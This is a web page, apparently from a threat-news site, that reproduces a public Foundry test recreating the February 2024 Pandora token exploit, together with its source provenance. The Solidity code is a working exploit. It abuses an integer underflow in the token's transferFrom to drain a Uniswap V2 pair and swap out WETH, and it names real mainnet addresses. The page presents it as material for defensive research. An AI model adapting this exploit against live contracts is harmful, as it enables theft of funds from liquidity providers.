Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/PANDORA_exp.sol

Public reproduction file for dataset entry Pandora.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/PANDORA_exp.sol47 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// TX : https://app.blocksec.com/explorer/tx/eth/0x7c5a909b45014e35ddb89697f6be38d08eff30e7c3d3d553033a6efc3b444fdd
8// GUY : https://twitter.com/pennysplayer/status/1766479470058406174
9// Profit : ~17K USD
10// REASON : integer underflow
12interface NoReturnTransferFrom {
13 function transfer(address to, uint256 amount) external returns (bool);
14 function approve(address spender, uint256 amount) external returns (bool);
15 function balanceOf(
16 address account
17 ) external view returns (uint256);
18 function transferFrom(address sender, address recipient, uint256 amount) external;
21contract ContractTest is Test {
22 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
23 NoReturnTransferFrom constant PANDORA = NoReturnTransferFrom(0xddaDF1bf44363D07E750C20219C2347Ed7D826b9);
24 Uni_Pair_V2 V2_PAIR = Uni_Pair_V2(0x89CB997C36776D910Cfba8948Ce38613636CBc3c);
25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
27 function setUp() external {
28 cheats.createSelectFork("mainnet", 19_184_577);
29 // deal(address(WETH), address(this), 0);
30 }
32 function testExploit() external {
33 emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);
34 uint256 pandora_balance = PANDORA.balanceOf(address(V2_PAIR));
35 PANDORA.transferFrom(address(V2_PAIR), address(PANDORA), pandora_balance - 1);
36 V2_PAIR.sync();
37 (uint256 ethReserve, uint256 oldPANDORAReserve,) = V2_PAIR.getReserves();
38 PANDORA.transferFrom(address(PANDORA), address(V2_PAIR), pandora_balance - 1);
39 uint256 newPANDORAReserve = PANDORA.balanceOf(address(V2_PAIR));
40 uint256 amountin = newPANDORAReserve - oldPANDORAReserve;
41 uint256 swapAmount = amountin * 9975 * ethReserve / (oldPANDORAReserve * 10_000 + amountin * 9975);
43 //swap PANDORA to WBNB
44 V2_PAIR.swap(swapAmount, 0, address(this), "");
45 emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);
46 }

Analysis

Dataset entry

Public Foundry test for “Pandora” (2024-02-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Pandora
Path
src/test/2024-02/PANDORA_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d53198796299928d95bb895e7287151eafc2bf15
Language
Solidity
Size
48 lines
Date
2024-02-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/PANDORA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d53198796299928d95bb895e7287151eafc2bf15, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.